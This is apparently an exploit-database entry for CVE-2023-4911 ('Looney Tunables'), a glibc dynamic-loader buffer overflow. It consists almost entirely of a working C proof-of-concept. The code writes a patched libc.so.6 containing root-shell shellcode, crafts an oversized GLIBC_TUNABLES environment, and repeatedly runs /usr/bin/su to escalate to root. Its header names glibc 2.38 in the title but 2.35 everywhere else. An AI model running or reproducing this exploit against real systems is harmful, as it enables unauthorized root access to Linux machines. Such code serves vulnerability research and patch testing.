📄 glibc 2.38 Buffer Overflow

# Exploit Title: glibc 2.38 - Buffer Overflow 
    # Google Dork: N/A
    # Date: 2025-10-08
    # Exploit Author: Beatriz Fresno Naumova
    # Vendor Homepage: https://www.gnu.org/software/libc/
    # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
    # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
    # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
    # CVE : CVE-2023-4911
    
    # Description:
    Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow 
    # This is a local privilege escalation exploit for CVE-2023-4911, also known as
    # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
    # environment variable parsing logic. The vulnerability is triggered by crafting
    # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
    # allowing control over DT_RPATH and arbitrary shared object loading.
    #
    # This PoC creates a patched version of libc.so.6 with embedded shellcode and
    # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
    # with a malicious environment.
    #
    
    
    
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/resource.h>
    #include <sys/wait.h>
    #include <elf.h>
    
    #define FILL_SIZE 0xd00
    #define BOF_SIZE 0x600
    #define MAX_ENVP  0x1000
    
    // shellcode generado con pwntools
    const unsigned char shellcode[] = {
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x69,                               // push   0x69 ; syscall setuid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x6a,                               // push   0x6a ; syscall setgid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xd2,                         // xor    rdx, rdx
        0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
        0x2f, 0x73, 0x68, 0x00,                   // mov rbx, "/bin/sh"
        0x53,                                     // push rbx
        0x48, 0x89, 0xe7,                         // mov rdi, rsp
        0x50,                                     // push rax
        0x57,                                     // push rdi
        0x48, 0x89, 0xe6,                         // mov rsi, rsp
        0xb0, 0x3b,                               // mov al, 0x3b
        0x0f, 0x05                                // syscall
    };
    
    int64_t time_us() {
        struct timespec tms;
        if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
        int64_t micros = tms.tv_sec * 1000000;
        micros += tms.tv_nsec / 1000;
        if (tms.tv_nsec % 1000 >= 500) ++micros;
        return micros;
    }
    
    void patch_libc() {
        FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
        if (!f) { perror("fopen"); exit(1); }
    
        fseek(f, 0, SEEK_END);
        long size = ftell(f);
        rewind(f);
    
        unsigned char *data = malloc(size);
        if (fread(data, 1, size, f) != size) {
            perror("fread");
            exit(1);
        }
        fclose(f);
    
        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
        Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
        Elf64_Sym *symtab = NULL;
        char *strtab = NULL;
    
        for (int i = 0; i < ehdr->e_shnum; ++i) {
            if (shdr[i].sh_type == SHT_SYMTAB) {
                symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
                strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
                break;
            }
        }
    
        if (!symtab || !strtab) {
            fprintf(stderr, "[-] Failed to find symtab\n");
            exit(1);
        }
    
        Elf64_Addr target_addr = 0;
        for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
            if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
                target_addr = symtab[i].st_value;
                break;
            }
        }
    
        if (!target_addr) {
            fprintf(stderr, "[-] Could not find __libc_start_main\n");
            exit(1);
        }
    
        // patch shellcode at the symbol location
        memcpy(data + target_addr, shellcode, sizeof(shellcode));
    
        f = fopen("./libc.so.6", "wb");
        if (!f) { perror("fopen (write)"); exit(1); }
        fwrite(data, 1, size, f);
        fclose(f);
    
        free(data);
        printf("[+] Patched libc.so.6 written.\n");
    }
    
    int main(void) {
        char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
        char *argv[] = {"/usr/bin/su", "--help", NULL};
        char *envp[MAX_ENVP] = { NULL };
    
        // Create directory and patched libc if not present
        if (mkdir("\"", 0755) == 0) {
            patch_libc();
            int sfd = open("./libc.so.6", O_RDONLY);
            int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
            char buf[0x1000];
            int len;
            while ((len = read(sfd, buf, sizeof(buf))) > 0) {
                write(dfd, buf, len);
            }
            close(sfd); close(dfd);
        }
    
        memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
        strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
        strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
    
        memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
        strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
        envp[0] = filler;
        envp[1] = kv;
        envp[0x65] = "";
        envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
        envp[0xf7f] = filler2;
    
        for (int i = 0; i < sizeof(dt_rpath); i += 8) {
            *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
        }
        dt_rpath[sizeof(dt_rpath) - 1] = '\0';
        for (int i = 0; i < 0x2f; i++) {
            envp[0xf80 + i] = dt_rpath;
        }
        envp[0xffe] = "AAAA";
    
        setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});
    
        int pid;
        for (int ct = 1;; ct++) {
            if (ct % 100 == 0) printf("try %d\n", ct);
    
            if ((pid = fork()) < 0) {
                perror("fork"); break;
            } else if (pid == 0) {
                execve(argv[0], argv, envp);
                perror("execve (child)"); exit(1);
            } else {
                int wstatus;
                int64_t st = time_us(), en;
                wait(&wstatus);
                en = time_us();
    
                if (!WIFSIGNALED(wstatus) && en - st > 1000000) {
                    printf("[+] Exploit likely succeeded!\n");
                    break;
                }
            }
        }
    
        return 0;
    }